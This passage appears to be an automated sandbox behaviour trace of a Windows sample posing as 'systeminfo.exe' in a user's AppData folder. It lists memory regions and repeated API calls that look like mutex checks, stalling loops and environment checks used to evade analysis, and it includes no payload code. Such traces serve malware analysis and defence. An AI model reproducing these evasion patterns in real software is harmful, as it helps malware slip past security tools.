"private_0x0000000000030000" filename = "" Region: id = 2451 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2452 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2453 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2454 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2455 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2456 start_va = 0x3d0000 end_va = 0x3eefff entry_point = 0x3d0000 region_type = mapped_file name = "systeminfo.exe" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe") Region: id = 2457 start_va = 0x76df0000 end_va = 0x76f98fff entry_point = 0x76df0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2458 start_va = 0x76fd0000 end_va = 0x7714ffff entry_point = 0x76fd0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2459 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2460 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2461 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2462 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2463 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2464 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2465 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2592 start_va = 0x5c0000 end_va = 0x63ffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 2593 start_va = 0x73700000 end_va = 0x73707fff entry_point = 0x73700000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2594 start_va = 0x73710000 end_va = 0x7376bfff entry_point = 0x73710000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2595 start_va = 0x73770000 end_va = 0x737aefff entry_point = 0x73770000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2596 start_va = 0x810000 end_va = 0x90ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 2597 start_va = 0x74e30000 end_va = 0x74f3ffff entry_point = 0x74e30000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2598 start_va = 0x76700000 end_va = 0x76745fff entry_point = 0x76700000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2599 start_va = 0x76bd0000 end_va = 0x76cc9fff entry_point = 0x0 region_type = private name = "private_0x0000000076bd0000" filename = "" Region: id = 2600 start_va = 0x76cd0000 end_va = 0x76deefff entry_point = 0x0 region_type = private name = "private_0x0000000076cd0000" filename = "" Region: id = 2601 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2602 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2603 start_va = 0x73640000 end_va = 0x73690fff entry_point = 0x73640000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 2604 start_va = 0x736a0000 end_va = 0x736d1fff entry_point = 0x736a0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2605 start_va = 0x736e0000 end_va = 0x736f3fff entry_point = 0x736e0000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\SysWOW64\\msacm32.dll" (normalized: "c:\\windows\\syswow64\\msacm32.dll") Region: id = 2606 start_va = 0x74b20000 end_va = 0x74b2bfff entry_point = 0x74b20000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2607 start_va = 0x74b30000 end_va = 0x74b8ffff entry_point = 0x74b30000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2608 start_va = 0x74b90000 end_va = 0x74be6fff entry_point = 0x74b90000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2609 start_va = 0x74d90000 end_va = 0x74e2ffff entry_point = 0x74d90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2610 start_va = 0x74f90000 end_va = 0x7502cfff entry_point = 0x74f90000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2611 start_va = 0x75030000 end_va = 0x75039fff entry_point = 0x75030000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2612 start_va = 0x75040000 end_va = 0x7513ffff entry_point = 0x75040000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2613 start_va = 0x751c0000 end_va = 0x7531bfff entry_point = 0x751c0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2614 start_va = 0x75f70000 end_va = 0x7605ffff entry_point = 0x75f70000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2615 start_va = 0x76440000 end_va = 0x764cefff entry_point = 0x76440000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2616 start_va = 0x764d0000 end_va = 0x7655ffff entry_point = 0x764d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2617 start_va = 0x76b00000 end_va = 0x76babfff entry_point = 0x76b00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2618 start_va = 0x76bb0000 end_va = 0x76bc8fff entry_point = 0x76bb0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2619 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2620 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2621 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 2622 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2623 start_va = 0x75140000 end_va = 0x7519ffff entry_point = 0x75140000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2624 start_va = 0x76370000 end_va = 0x7643bfff entry_point = 0x76370000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2625 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2626 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2627 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2628 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 2629 start_va = 0x910000 end_va = 0x1d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2630 start_va = 0x1d10000 end_va = 0x1fdefff entry_point = 0x1d10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2631 start_va = 0x73480000 end_va = 0x734fffff entry_point = 0x73480000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2632 start_va = 0x160000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2633 start_va = 0x1fe0000 end_va = 0x20befff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 2634 start_va = 0x70000 end_va = 0x81fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2635 start_va = 0x90000 end_va = 0x9dfff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2636 start_va = 0x20c0000 end_va = 0x2490fff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 2637 start_va = 0x24a0000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 2638 start_va = 0xa0000 end_va = 0xadfff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2639 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2640 start_va = 0x1a0000 end_va = 0x1dffff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Thread: id = 108 os_tid = 0x5dc [0115.155] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0115.155] GetLastError () returned 0x2 [0115.155] GetLocalTime (in: lpSystemTime=0x34fc68 | out: lpSystemTime=0x34fc68*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x28, wMilliseconds=0x3d5)) [0115.155] VarI4FromUI1 (in: bIn=0x1, plOut=0x34fc78 | out: plOut=0x34fc78) returned 0x0 [0115.155] GetTickCount () returned 0x3448 [0115.155] wsprintfA (in: param_1=0x34fd10, param_2="%d" | out: param_1="18013384") returned 8 [0115.155] lstrlenA (lpString="18013384") returned 8 [0115.155] GetCurrentProcessId () returned 0x5d8 [0115.155] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.155] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0115.158] GetLastError () returned 0x2 [0115.158] GetLocalTime (in: lpSystemTime=0x34fc68 | out: lpSystemTime=0x34fc68*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x28, wMilliseconds=0x3d5)) [0115.158] VarI4FromUI1 (in: bIn=0x1, plOut=0x34fc78 | out: plOut=0x34fc78) returned 0x0 [0115.158] GetTickCount () returned 0x3448 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="%d" | out: param_1="18013384") returned 8 [0115.158] lstrlenA (lpString="18013384") returned 8 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.158] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.158] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.158] GetUserDefaultLangID () returned 0x409 [0115.158] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0115.159] GetLastError () returned 0x2 [0115.159] GetLocalTime (in: lpSystemTime=0x34fc68 | out: lpSystemTime=0x34fc68*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x28, wMilliseconds=0x3d5)) [0115.159] VarI4FromUI1 (in: bIn=0x1, plOut=0x34fc78 | out: plOut=0x34fc78) returned 0x0 [0115.159] GetTickCount () returned 0x3448 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="%d" | out: param_1="18013384") returned 8 [0115.159] lstrlenA (lpString="18013384") returned 8 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.159] GetCurrentProcessId () returned 0x5d8 [0115.159] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.159] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.159] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0115.160] GetLastError () returned 0x2 [0115.160] GetLocalTime (in: lpSystemTime=0x34fc68 | out: lpSystemTime=0x34fc68*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x28, wMilliseconds=0x3d5)) [0115.160] VarI4FromUI1 (in: bIn=0x1, plOut=0x34fc78 | out: plOut=0x34fc78) returned 0x0 [0115.160] GetTickCount () returned 0x3448 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="%d" | out: param_1="18013384") returned 8 [0115.160] lstrlenA (lpString="18013384") returned 8 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.160] GetCurrentProcessId () returned 0x5d8 [0115.160] wsprintfA (in: param_1=0x34fd10, param_2="7X6Qcl1%d" | out: param_1="7X6Qcl11496") returned 11 [0115.160] lstrcmpA (lpString1="7X6Qcl11496", lpString2="7JWg25") returned 1 [0115.160] GetUserDefaultLangID () returned 0x409 [0115.161] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="XoBZXxTVpSVrDHIx3tCj") returned 0x0 [0115.161] GetLastError () returned 0x2 [0115.161] GetLocalTime (in: lpSystemTime=0x34fc68 | out: lpSystemTime=0x34fc68*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x28, wMilliseconds=0x3d5)) [0115.161] VarI4FromUI1 (in: bIn=0x1, plOut=0x34fc78 | out: plOut=0x34fc78) returned 0x0 [0115.161] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.667] CountClipboardFormats () returned 0 [0115.667] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.667] GetFocus () returned 0x0 [0115.667] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA (lpString1="6OsS", lpString2="3eehiK") returned 1 [0115.668] GetFocus () returned 0x0 [0115.668] GetSystemMetrics (nIndex=25) returned 0 [0115.668] CountClipboardFormats () returned 0 [0115.668] lstrcmpA 